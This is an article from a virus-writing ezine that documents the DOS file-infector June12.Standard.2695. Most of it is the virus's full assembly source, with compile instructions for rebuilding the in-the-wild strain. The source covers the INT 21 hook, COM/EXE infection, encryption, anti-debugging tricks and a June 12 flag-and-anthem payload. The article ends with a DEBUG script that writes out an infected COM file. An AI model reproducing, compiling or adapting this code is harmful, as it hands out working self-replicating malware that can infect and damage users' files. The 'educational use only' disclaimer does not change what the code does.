Copy Link
Add to Bookmark
Report

Hexfiles Issue 3 File 008

eZine's profile picture
Published in 
hexfiles
 · 9 Aug 2024

  
HEX-FILES No. 3 File 008
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

Virus Name: June12.Standard.2695

Alias: Jerusalem.Mabuhay.2695, June 14th, June_12th.2660,
June 12th.2265, June12, June12.2695, June12th,
June12th.2711, Mabuhay, Mabuhay.2695


June12.Standard.2695 is similar to June12.Standard.2660 and it
certainly came from the virus author. The only difference is that
there is an additional loop in the encryption of the virus
initialization routine and several instructions were added in the
initalization routine to check for encryption.

Because of these differences, the virus naturally is longer. It now
goes resident as a 2794-byte TSR. Its infective length is 2707 to
2722 bytes in COM infections and 2695 to 2710 bytes in EXE
infections.

Its differences with June12.Standard.2660 are noted below.


Which had been first June12.Standard.2660 or June12.Standard.2695. If
you take the ID of local AVs, June12.Standard.2660 (known here as
June12-A) came first. But who knows? Ask the author!

ÄÄ J12STD-B.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Virus Name: June12.Standard.2695 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Author : Unknown ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Origin : Metro Manila, Philippines ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ To create a virus exactly like the one ÄÄ
;ÄÄÄÄÄ COMPILING ÄÄÄÄÄÄÄÄÄÄÄÄ found in the wild, TASM 2.01 or MASM 5.0 ÄÄ
;ÄÄÄÄÄ INSTRUCTION ÄÄÄÄÄÄÄÄÄÄÄÄ should be used. Other compilers might ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ create a new variant. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Compile to EXE. ÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Program listing created by Putoksa Kawayan ÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ExeHeader struc
ExeID dw ?
PageMod dw ?
PageCount dw ?
RelTab dw ?
HedSize dw ?
MinPara dw ?
MaxPara dw ?
SSeg dw ?
SPt dw ?
CxSum dw ?
CPt dw ?
CSeg dw ?
RelFrst dw ?
ExeHeader ends

June12 segment 'code'
assume cs:June12, ds:nothing

MemRelocate equ 3fch
Environment equ 2ch
June equ 6
_12th equ 12
BiosData equ 40h
MotorTimeOut equ BiosData
VideoPort equ 63h
TraceTrap equ ((offset NoTrace-offset AntiTrace)-2)
VirusStack equ (offset EndOfJune12+100h)-2
;
; virus entry point from an infected com program
;
June12Entry:
jmp ComEntry

db 1ah
ComLowLength dw ?
SavedPsp dw ?
ExecParam dw 0,80h,0,5ch,0,6ch,0
ExeSp dw ?
ExeSs dw ?
ExeHost label dword
ExeIp dw ?
ExeCs dw ?
SavedMem db 3 dup (?)
DosInterrupt dd ?
ComHost dd ?
FileHandle dw ?
MemAllocFlag db ?
CallerAsciiz dd ?
FileAttribute dw ?
FileTypeFlag db ?
ErrorInterrupt dd ?
FileDate dw ?
FileTime dw ?
HandlerActive db ?
ExeReadBuff db 28 dup (?)
EncryptFlag db ?
FileDatTimeFlag db ?
FileAttribFlag db ?
ExeHiLength dw ?
ExeLoLength dw ?
PageSize dw 512
ParagraphSize dw 16
MaskDataEnd db ?
Command db 'COMMAND.'
Com db 'COM'
Exe db 'EXE'

;------------------ Payload Data

Text1 db 'June 12 - the Independence Day of the Philippines.'
FlagData dw 0220h,02dfh,2020h,-1
dw 0220h,012ah,0320h,02dfh,1c20h,-1
dw 0a20h,02dfh,1820h,-1
dw 0520h,015ch,01b3h,012fh,0620h,02dfh,1420h,-1
dw 0420h,01c4h,01c4h,010fh,01c4h,01c4h,0520h
dw 012ah,0320h,12dfh,-1
dw 0520h,012fh,01b3h,015ch,0620h,02dch,1420h,-1
dw 0a20h,02dch,1820h,-1
dw 0220h,012ah,0320h,02dch,1c20h,-1
dw 0220h,02dch,2020h,-1
FlagColor db 70h,71h,10h,70h,7eh,70h,71h,10h,70h,71h,10h,70h,7eh
db 7eh,7eh,70h,71h,10h,70h,7eh,7eh,7eh,7eh,7eh,70h,7eh
db 70h,41h,70h,7eh,7eh,7eh,70h,74h,40h,70h,74h,40h,70h
db 7eh,70h,74h,40h,70h,74h,40h
;' D e d i c a t e d t o M a n o n g E d d i e .'
;'M A B U H A Y A N G P I L I P I N A S ! '
Text2 db 'MDAeBdUiHcAaYt eAdN Gt oP IMLaInPoInNgA SE!d d i e .'

;------------------ National Anthem Data

Anthem01 dw offset Anthem05,offset Anthem05,offset Anthem04
dw offset Anthem04,offset Anthem06,offset Anthem03
dw offset Anthem06,offset Anthem03
Anthem02 dw offset Anthem09,offset Anthem09,offset Anthem08
dw offset Anthem08,offset Anthem10,offset Anthem07
dw offset Anthem11,offset Anthem07
Anthem03 dw 0d5bh,0e21h,0be4h,0d5bh,11cah,0be4h,0a98h,0a00h
dw 0a98h,0be4h,0a98h,0d5bh,0d5bh,0e21h,0be4h,0d5bh
dw 11cah,0be4h,0a98h,0a00h,0a98h,0be4h,002ch
Anthem04 dw 0d5bh,0e21h,0d5bh,0be4h,0be4h,11cah,11cah,0be4h
dw 0be4h,11cah,11cah,0a98h,096fh,08e9h,07f1h,08e9h
dw 0d5bh,0e21h,0d5bh,0be4h,0be4h,11cah,11cah,0be4h
dw 0be4h,11cah,11cah,0a98h,0a00h,0a98h,0be4h,0a98h
dw 0be4h,0d5bh,002ch
Anthem05 dw 0d5bh,0fdah,0d5bh,0a00h,0a00h,08e9h,08e9h,07f1h
dw 08e9h,0a00h,08e9h,07f1h,077eh,07f1h,08e9h,07f1h
dw 0a00h,08e9h,0a98h,0a98h,0a00h,002ch
Anthem06 dw 0d5bh,002ch
Anthem07 db 12,9,3,12,12,4,4,4,9,3,12,12,12,9,3,12,12,4,4,4,9,3
Anthem08 db 4,4,4,9,3,9,3,9,3,9,3,9,3,9,3,12,4,4,4,9,3,9,3,9
db 3,9,3,4,4,4,4,4,4,12
Anthem09 db 4,4,4,12,12,12,12,9,3,9,3,12,4,4,4,12,12,12,9,3,36
Anthem10 db 12
Anthem11 db 24
XorOperand db 9ch
;
; int 24 handler
;
isErr:
xor al,al
iret
;
; encrypts/decrypts payload data
;
MaskData:
push ax
push si
pushf
mov si,offset XorOperand
mov al,cs:[si]
MaskDataLoop:
xor cs:[si-1],al
dec si
cmp si,(MaskDataEnd-June12Entry)
jne MaskDataLoop
popf
pop si
pop ax
ret
;
; payload trigger determinant
; payload is released on June 12 of any year on 21/4b00
;
isTheDay:
push ax
push bx
push cx
push dx
push di
push si
push es
push ds
mov ah,2ah
int 21h
cmp dh,June ; check for June 12
jne isNot
cmp dl,_12th
jne isNot
call ShowPayload
isNot:
pop ds
pop es
pop si
pop di
pop dx
pop cx
pop bx
pop ax
ret
;
; encrypts/decrypts int 21 handler
; the int 21 handler is divided into blocks
;
MaskHandler:
push si
pushf
mov si,offset MaskHandler1
MaskHandlerLoop1:
not byte ptr cs:[si]
inc si
cmp si,offset MaskHandler2
jne MaskHandlerLoop1
mov si,offset MaskHandler3
MaskHandlerLoop2:
not byte ptr cs:[si]
inc si
cmp si,offset MaskHandler4
jne MaskHandlerLoop2
mov si,offset MaskHandler5
MaskHandlerLoop3:
not byte ptr cs:[si]
inc si
cmp si,offset MaskHandler6
jne MaskHandlerLoop3
popf
pop si
ret
;
; main entry point for the virus from an infected com program
;
ComEntry:
pop es
mov ah,0efh
int 21h
cmp ah,0efh
jnb ComNotResident
cmp ax,25bh
jne ComNotResident
mov ah,0ffh
mov di,100h
mov si,10bh
push es
pop ds
mov cx,ds:ComLowLength
int 21h
ComNotResident:
mov ax,cs
mov ss,ax
mov sp,VirusStack
;
; entry point for the virus from an infected exe program
;
ExeEntry:
cld
;
; trap for tracers which takes advantage of the prefetch
; tbclean chokes on this one!!!
;
jmp $+2
sub byte ptr cs:AntiTrace+1,TraceTrap
AntiTrace:
jmp short NoTrace
mov ax,4c00h
int 21h
NoTrace:
cmp EncryptFlag,0
je Init
call MaskInit
Init:
push es
mov SavedPsp,es
mov ExecParam+4,es
mov ExecParam+8,es
mov ExecParam+12,es
mov ax,es
add ax,16
add ExeCs,ax
add ExeSs,ax
mov ah,0efh
add byte ptr AntiTrace+1,TraceTrap
int 21h
cmp ah,0efh
jnb NotResident
pop es
mov ss,ExeSs
mov sp,ExeSp
jmp ExeHost
;
; prepare to move virus code to PSP:100
; virus places the code to move the virus from the end of the file at
; 0:3fc the original content of which is saved and subsequently restored
;
NotResident:
xor ax,ax
mov es,ax
mov ax,es:MemRelocate
mov word ptr SavedMem,ax
mov al,byte ptr es:MemRelocate+2
mov SavedMem+2,al
mov word ptr es:MemRelocate,0a5f3h
mov byte ptr es:MemRelocate+2,0cbh
pop ax
add ax,16
mov es,ax
push cs
pop ds
mov cx,offset EndOfJune12+100h
shr cx,1
xor si,si
mov di,si
push es
mov ax,offset ContinueInit
push ax
db 0eah
dw MemRelocate,0
;
; routine executed after the virus had been moved to PSP:100
; it hooks int 21, executes the host program, and goes memory resident
;
ContinueInit:
mov ax,cs
mov ss,ax
mov sp,(((offset EndOfJune12-offset June12Entry)/100h)+3)*100h
xor ax,ax
mov ds,ax
mov ax,word ptr SavedMem
mov ds:MemRelocate,ax
mov al,SavedMem+2
mov byte ptr ds:MemRelocate+2,al
mov bx,sp
mov cl,4
shr bx,cl
add bx,32
mov ah,4ah
mov es,SavedPsp
int 21h
mov ax,3521h
int 21h
mov word ptr DosInterrupt,bx
mov word ptr DosInterrupt+2,es

assume cs:June12, ds:June12

push cs
pop ds
mov dx,offset isDos
mov ax,2521h
int 21h
mov es,SavedPsp
mov es,es:Environment
xor di,di
mov cx,7fffh
xor al,al
FindFilename:
repne scasb
cmp es:[di],al
loopne FindFilename
mov dx,di
add dx,3

assume cs:June12, ds:nothing

xor al,al
mov HandlerActive,al
mov ax,4b00h
push es
pop ds
push cs
pop es
mov bx,offset ExecParam
InitFirstMask:
cmp EncryptFlag,0 ;<<<
jne InitIsMasked ;<<<<< new to this variant
call MaskInit ;<<<
InitIsMasked:
pushf
call DosInterrupt
cmp EncryptFlag,0 ;<<<
je InitNotMasked ;<<<<< new to this variant
call MaskInit ;<<<
InitNotMasked:
push ds
pop es
mov ah,49h
int 21h
mov ah,4dh
int 21h
MaskInitEnd:
cmp EncryptFlag,0
jne InitMasked
call MaskInit
InitMasked:
mov ah,31h
mov dx,offset EndOfJune12
mov cl,4
shr dx,cl
add dx,17
int 21h
;
; int 21 handler of the virus
; infects on 4b00 (EXEC) and 3d00 (file open read)
;
isDos:
pushf
cmp ah,0efh
jne CheckRestoreHostCom
mov ax,25bh
popf
iret

CheckRestoreHostCom:
cmp ah,0ffh
je RestoreHostCom
cmp ax,4b00h
jne CheckOpenFile
jmp short SetUpForInfection
CheckOpenFile:
cmp HandlerActive,0
jne ExitRelay01
cmp ah,3dh
je CheckOpenFileMode
ExitRelay01:
jmp PassToDos

RestoreHostCom:
pop ax
pop ax
mov ax,100h
mov word ptr ComHost,ax
pop ax
mov ax,es
mov word ptr ComHost+2,ax
repe movsb
popf
xor ax,ax
jmp ComHost

CheckOpenFileMode:
test al,7
jnz ExitRelay01
SetUpForInfection:
inc HandlerActive
mov FileHandle,-1
mov MemAllocFlag,0
mov word ptr CallerAsciiz,dx
mov word ptr CallerAsciiz+2,ds
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
cld
push ds
push dx

assume cs:June12, ds:June12

push cs
pop ds
mov ax,3524h
int 21h
mov word ptr ErrorInterrupt,bx
mov word ptr ErrorInterrupt+2,es
mov dx,offset isErr
mov ax,2524h
int 21h

assume cs:June12, ds:nothing

pop dx
pop ds
call MaskData
call MaskHandler
MaskHandler1:
mov di,dx
xor dl,dl
cmp byte ptr [di+01],':'
jne UseDefaultDrive
mov dl,[di]
and dl,1fh
UseDefaultDrive:
mov ah,36h
int 21h
cmp ax,-1
jne DetermineFreeSpace
ExitRelay02:
jmp RestoreErrorInterrupt
DetermineFreeSpace:
mul bx
mul cx
or dx,dx
jnz EnoughDiskSpace
cmp ax,offset EndOfJune12+100h
jb ExitRelay02
EnoughDiskSpace:
mov dx,word ptr CallerAsciiz
push ds
pop es
xor al,al
mov cx,41
repne scasb
mov si,word ptr CallerAsciiz
GetNextCharOfAsciiz:
mov al,[si]
or al,al
jz EndOfAsciiz
cmp al,'a'
jb NextCharOfAsciiz
cmp al,'z'
ja NextCharOfAsciiz
sub byte ptr [si],20h
NextCharOfAsciiz:
inc si
jmp GetNextCharOfAsciiz
EndOfAsciiz:
push cs
pop es
push si
mov cx,3
sub si,cx
mov di,offset Com
xor al,al
mov FileTypeFlag,al
repe cmpsb
pop si
jne CheckIfExe
jmp short CheckIfCommand
CheckIfExe:
inc FileTypeFlag
push si
mov cx,3
sub si,cx
mov di,offset Exe
repe cmpsb
pop si
je CheckIfCommand
jmp RestoreErrorInterrupt
CheckIfCommand:
mov cx,11
sub si,cx
mov di,offset Command
repe cmpsb
jne PrepareToInfect
jmp RestoreErrorInterrupt
PrepareToInfect:
mov ax,4300h
int 21h
jc ExitRelay03
mov FileAttribute,cx
ExitRelay03:
jc ExitRelay04
mov ax,3d00h
int 21h
ExitRelay04:
jc ExitRelay05
mov FileHandle,ax
mov ah,48h
mov bx,3
int 21h
ExitRelay05:
jc ExitRelay06
inc MemAllocFlag
mov bx,FileHandle
mov ds,ax
mov cx,-1
mov dx,((offset EndOfJune12+100h)-offset isErr)
neg dx
mov ax,4202h
int 21h
ExitRelay06:
jc ExitRelay07
add ax,((offset EndOfJune12+100h)-offset isErr)
mov ComLowLength,ax
mov cx,48
xor dx,dx
mov si,dx
mov ah,3fh
int 21h
ExitRelay07:
jc ExitRelay08
mov cx,48
mov di,offset isErr
push cs
pop es
repe cmpsb
push ds
pop es
jne NotInfected
mov ah,3eh
int 21h
jmp RestoreErrorInterrupt
NotInfected:
mov ah,49h
int 21h
ExitRelay08:
jc ExitRelay09
dec MemAllocFlag
lds dx,CallerAsciiz
xor cx,cx
mov ax,4301h
int 21h
ExitRelay09:
jc ExitRelay10
inc FileAttribFlag
mov bx,FileHandle
mov ah,3eh
int 21h
mov word ptr FileHandle,-1
mov ax,3d02h
int 21h
ExitRelay10:
jc ExitRelay11
mov FileHandle,ax

assume cs:June12, ds:June12

mov ax,cs
mov ds,ax
mov es,ax
mov bx,FileHandle
mov ax,5700h
int 21h
mov FileDate,dx
mov FileTime,cx
inc cs:FileDatTimeFlag
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h
ExitRelay11:
jc ExitRelay12
cmp FileTypeFlag,0
je isCom
jmp isExe
;
; routine to infect com programs
; the host program is sandwiched between the virus relocator and the
; main virus code.
;
isCom:
mov bx,1000h
mov ah,48h
int 21h
jnc CopyVirusJumper
mov ah,3eh
mov bx,FileHandle
int 21h
jmp RestoreErrorInterrupt
CopyVirusJumper:
inc MemAllocFlag
mov es,ax
xor di,di
mov si,offset VirusJumper
mov cx,(offset MaskInit-offset VirusJumper)
repe movsb
mov ax,ComLowLength
add ax,(offset MaskInit-offset VirusJumper)
mov cx,ax
and ax,0fff0h
add ax,16
sub cx,ax
neg cx
xchg bp,cx
mov cl,4
shr ax,cl
add ax,16
mov word ptr es:[(VxSeg-VirusJumper)+1],ax
mov dx,di
mov cx,ComLowLength
mov bx,FileHandle
push ds
push es
pop ds
mov ah,3fh
int 21h
pop ds
ExitRelay12:
jc ExitRelay13
add di,cx
xchg bp,cx
xor al,al
repe stosb
xor si,si
mov cx,offset EndOfJune12+100h
MaskHandler2:
call MaskHandler
call MaskData
repe movsb
call MaskData
call MaskHandler
MaskHandler3:
push es
pop ds
add di,cx
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h
mov cx,di
xor dx,dx
mov ah,40h
int 21h
ExitRelay13:
jc ExitRelay14
jmp PrepareToExit
;
; routine to infect exe programs
; the virus is appended to exe programs.
;
isExe:
mov cx,28
mov dx,offset ExeReadBuff
mov ah,3fh
int 21h
ExitRelay14:
jc ExitRelay15
mov ax,[ExeReadBuff].SSeg
mov ExeSs,ax
mov ax,[ExeReadBuff].SPt
mov ExeSp,ax
mov ax,[ExeReadBuff].CPt
mov ExeIp,ax
mov ax,[ExeReadBuff].CSeg
mov ExeCs,ax
mov ax,[ExeReadBuff].PageCount
cmp word ptr [ExeReadBuff].PageMod,0
je PageAligned
dec ax
PageAligned:
mul PageSize
add ax,[ExeReadBuff].PageMod
adc dx,0
add ax,15
adc dx,0
and ax,0fff0h
mov ExeLoLength,ax
mov ExeHiLength,dx
add ax,offset EndOfJune12+100h
adc dx,0
ExitRelay15:
jc ExitRelay16
div PageSize
or dx,dx
jz AlignedToPage
inc ax
AlignedToPage:
mov [ExeReadBuff].PageCount,ax
mov [ExeReadBuff].PageMod,dx
mov ax,ExeLoLength
mov dx,ExeHiLength
div ParagraphSize
sub ax,[ExeReadBuff].HedSize
mov [ExeReadBuff].CSeg,ax
mov [ExeReadBuff].CPt,offset ExeEntry
mov [ExeReadBuff].SSeg,ax
mov [ExeReadBuff].SPt,VirusStack
xor cx,cx
mov dx,cx
mov ax,4200h
int 21h
ExitRelay16:
jc ExitRelay17
mov cx,28
mov dx,offset ExeReadBuff
mov ah,40h
int 21h
ExitRelay17:
jc ExitRelay18
cmp ax,cx
jne PrepareToExit
mov dx,ExeLoLength
mov cx,ExeHiLength
mov ax,4200h
int 21h
ExitRelay18:
jc PrepareToExit
xor dx,dx
mov cx,offset EndOfJune12+100h
mov ah,40h
call MaskData
MaskHandler4:
call MaskHandler
int 21h
call MaskHandler
MaskHandler5:
call MaskData

assume cs:June12, ds:nothing

PrepareToExit:
cmp word ptr FileHandle,-1
je RestoreErrorInterrupt
cmp FileDatTimeFlag,0
je NoDateTimeChange
mov bx,FileHandle
mov dx,FileDate
mov cx,FileTime
mov ax,5701h
int 21h
NoDateTimeChange:
mov ah,3eh
int 21h
cmp FileAttribFlag,0
je RestoreErrorInterrupt
lds dx,CallerAsciiz
mov cx,FileAttribute
mov ax,4301h
int 21h
RestoreErrorInterrupt:
lds dx,ErrorInterrupt
mov ax,2524h
int 21h
cmp MemAllocFlag,0
je NoMemAllocated
mov ah,49h
int 21h
NoMemAllocated:
call MaskData
MaskHandler6:
call MaskHandler
xor al,al
mov HandlerActive,al
mov bp,sp
mov ax,[bp+16]
cmp ax,4b00h
jne NotExec
call isTheDay
NotExec:
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
PassToDos:
popf
jmp DosInterrupt
;
; virus relocator. this resets the segment where the virus will be executed
;
VirusJumper:
push cs
mov ax,cs
VxSeg:add ax,'PK'
push ax
xor ax,ax
push ax
retf
;
; encrypts/decrypts virus initialization routine
;
MaskInit:
push si
mov si,offset Init
MaskInitLoop1: ; <<<
not byte ptr cs:[si] ; <<<< new to this variant!
inc si ;<<<<< the init routines is now
cmp si,offset InitFirstMask ; <<<< encrypted in two blocks
jne MaskInitLoop1 ; <<<
mov si,offset InitNotMasked
MaskInitLoop2:
not byte ptr cs:[si]
inc si
cmp si,offset MaskInitEnd
jne MaskInitLoop2
xor EncryptFlag,07
pop si
ret
;
; display of payload routines.
; payload is display of the Philippine flag and playing of the Philippine
; national anthem -- "Lupang Hinirang". text dedicating the virus to
; Fidel Ramos the President of the Philippines at that time. "Manong" is a
; generic name used for a man much older than you are, and "Eddie" is the
; nickname of Ramos.
;
ClearScreen:
mov ax,719h
mov cx,0
mov dx,184fh
mov bh,7
int 10h
ret
;
; draws the flag of the Philippines
;
DrawFlag:
push cx
mov cl,ah
xor ch,ch
mov ah,9
int 10h
pop cx
ret

WriteText:
mov ah,2
int 10h
xchg cx,bp
mov al,[di]
mov ah,9
int 10h
inc dl
add di,2
xchg cx,bp
loop WriteText
ret

assume cs:June12, ds:June12
;
; main routine to execute payload
;
ShowPayload:
mov ax,BiosData
mov ds,ax
mov si,VideoPort
lodsw
cmp ax,3b4h
je ItsMono
mov al,3
jmp short FlipScreen
ItsMono:
mov al,7
FlipScreen:
mov ah,0
int 10h
push cs
pop ds
mov ah,3
xor bh,bh
int 10h
push cx
mov ah,1
mov cx,201h
int 10h
call MaskData
sti
mov si,offset Text1
mov dx,20fh
xor bh,bh
mov bl,0fh
mov ah,2
int 10h
mov cx,50
mov bp,1
NextChar:
lodsb
mov ah,9
xchg cx,bp
int 10h
xchg cx,bp
inc dl
mov ah,2
int 10h
loop NextChar
xor bh,bh
mov dx,416h
mov si,offset FlagData
mov di,offset FlagColor
mov cx,9
MoveCursor:
mov ah,02
int 10h
lodsw
cmp al,-1
je DrawNextRow
add dl,ah
mov bl,[di]
call DrawFlag
inc di
jmp MoveCursor
DrawNextRow:
inc dh
mov dl,22
loop MoveCursor
mov di,offset Text2
mov dx,0f1dh
mov cx,22
mov bp,1
mov bl,8fh
call WriteText
mov di,offset Text2+1
mov dx,121bh
mov cx,26
mov bl,0eh
call WriteText
mov bx,0c350h
mov al,bl
out 40h,al
mov al,bh
out 40h,al
in al,61h
push ax
mov cx,8
NextNote:
mov di,cx
dec di
shl di,1
mov si,[di+offset Anthem01]
mov di,[di+offset Anthem02]
push cx
call MusicPlayer
pop cx
loop NextNote
pop ax
out 61h,al
xor al,al
out 40h,al
out 40h,al
mov ax,BiosData
mov ds,ax
mov di,MotorTimeOut
mov byte ptr [di],1
xor bh,bh
xor dx,dx
mov ah,2
int 10h
cli
call MaskData
call ClearScreen
pop cx
mov ah,1
int 10h
ret
;
; routine to play the national anthem
;
MusicPlayer:
mov bx,[si]
mov al,0b6h
out 43h,al
mov ax,bx
out 42h,al
xchg ah,al
out 42h,al
in al,61h
or al,3
out 61h,al
mov cl,[di]
push ds
push si
mov ax,BiosData
mov ds,ax
mov si,MotorTimeOut
mov [si],cl
HoldTheNote:
cmp byte ptr [si],0
jne HoldTheNote
pop si
pop ds
add si,2
inc di
cmp byte ptr [si],2ch
jne MusicPlayer
ret
;
;
;
;
; this is my first generation routine
; this loads the virus to memory
;
;
;
;
EndOfJune12:
mov ax,cs
mov ss,ax
mov sp,VirusStack
mov ds,ax
mov ah,0efh
int 21h
cmp ax,25bh
jne Pers2
call Pers1
call Pers1
call Pers1
mov ax,4cffh
int 21h
align 2
Pers1:mov ax,0e07h
xor bx,bx
int 10h
ret
align 2
Pers2:call MaskData
call MaskInit
call MaskHandler
mov ax,es:Environment
mov es,ax
mov ah,49h
int 21h
mov ax,3521h
int 21h
mov word ptr DosInterrupt,bx
mov word ptr DosInterrupt+2,es
mov dx,offset isDos
mov ax,2521h
int 21h
call Pers1
mov ax,3100h
mov dx,((offset EndOfJune12-offset June12Entry)/16)+17
int 21h

June12 ends

end EndOfJune12

ÄÄ J12STD-B.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ



The following debug script contains a file infected by a virus
compiled from the above program listing using TASM 2.01.

MASM 5.0 would also produce a similar virus.


ÄÄ J12STD-B.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

N J12STD-B.COM
E 0100 0E 8C C8 05 2F 00 50 33 C0 50 CB E9 D4 01 0D 20
E 0110 20 20 0D 0A 4D 61 62 75 68 61 79 21 0D 0A 0A 54
E 0120 68 69 73 20 69 73 20 4A 75 6E 65 31 32 2E 53 74
E 0130 61 6E 64 61 72 64 2E 32 36 39 35 20 76 69 72 75
E 0140 73 20 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 20
E 0150 66 72 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 70
E 0160 69 6E 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 74
E 0170 6F 20 79 6F 75 20 6C 69 76 65 20 62 79 20 48 45
E 0180 58 2D 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A 0A
E 0190 48 45 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 75
E 01A0 74 6F 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 72
E 01B0 65 20 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C
E 01C0 65 20 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 6D
E 01D0 70 6C 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69 6D
E 01E0 61 67 69 6E 61 72 79 20 64 61 6D 61 67 65 20 61
E 01F0 72 69 73 69 6E 67 20 64 69 72 65 63 74 6C 79 20
E 0200 6F 72 20 69 6E 64 69 72 65 63 74 6C 79 20 66 72
E 0210 6F 6D 20 74 68 65 20 75 73 65 2C 20 6D 69 73 75
E 0220 73 65 0D 0A 6F 72 20 6E 6F 6E 2D 75 73 65 20 6F
E 0230 66 20 74 68 69 73 20 70 72 6F 67 72 61 6D 2E 20
E 0240 54 68 65 20 70 65 72 73 6F 6E 20 77 68 6F 20 65
E 0250 78 65 63 75 74 65 73 20 74 68 69 73 20 70 72 6F
E 0260 67 72 61 6D 20 62 65 61 72 73 20 66 75 6C 6C 0D
E 0270 0A 72 65 73 70 6F 6E 73 69 62 69 6C 69 74 79 20
E 0280 66 6F 72 20 68 69 73 2F 68 65 72 20 61 63 74 69
E 0290 6F 6E 73 2E 0D 0A 0A 54 68 69 73 20 70 72 6F 67
E 02A0 72 61 6D 20 69 73 20 73 74 72 69 63 74 6C 79 20
E 02B0 66 6F 72 20 65 64 75 63 61 74 69 6F 6E 61 6C 20
E 02C0 6F 72 20 72 65 73 65 61 72 63 68 20 70 75 72 70
E 02D0 6F 73 65 73 20 6F 6E 6C 79 2E 0D 0A 0A 0A 24 08
E 02E0 20 1A 0E 1F BA 07 01 B4 09 CD 21 B4 4C CD 21 00
E 02F0 E9 ED 02 1A E4 01 5F 11 00 00 80 00 5F 11 5C 00
E 0300 5F 11 6C 00 5F 11 50 00 6F 11 56 04 74 11 00 F0
E 0310 46 5F 04 C5 10 00 00 00 00 05 00 01 35 05 28 0E
E 0320 20 00 00 55 01 28 0E B3 24 4C 93 01 4D 5A 27 00
E 0330 0E 00 00 00 20 00 00 00 FF FF DA 00 85 0A 29 12
E 0340 16 03 DA 00 1E 00 00 00 07 03 03 00 00 A0 0F 00
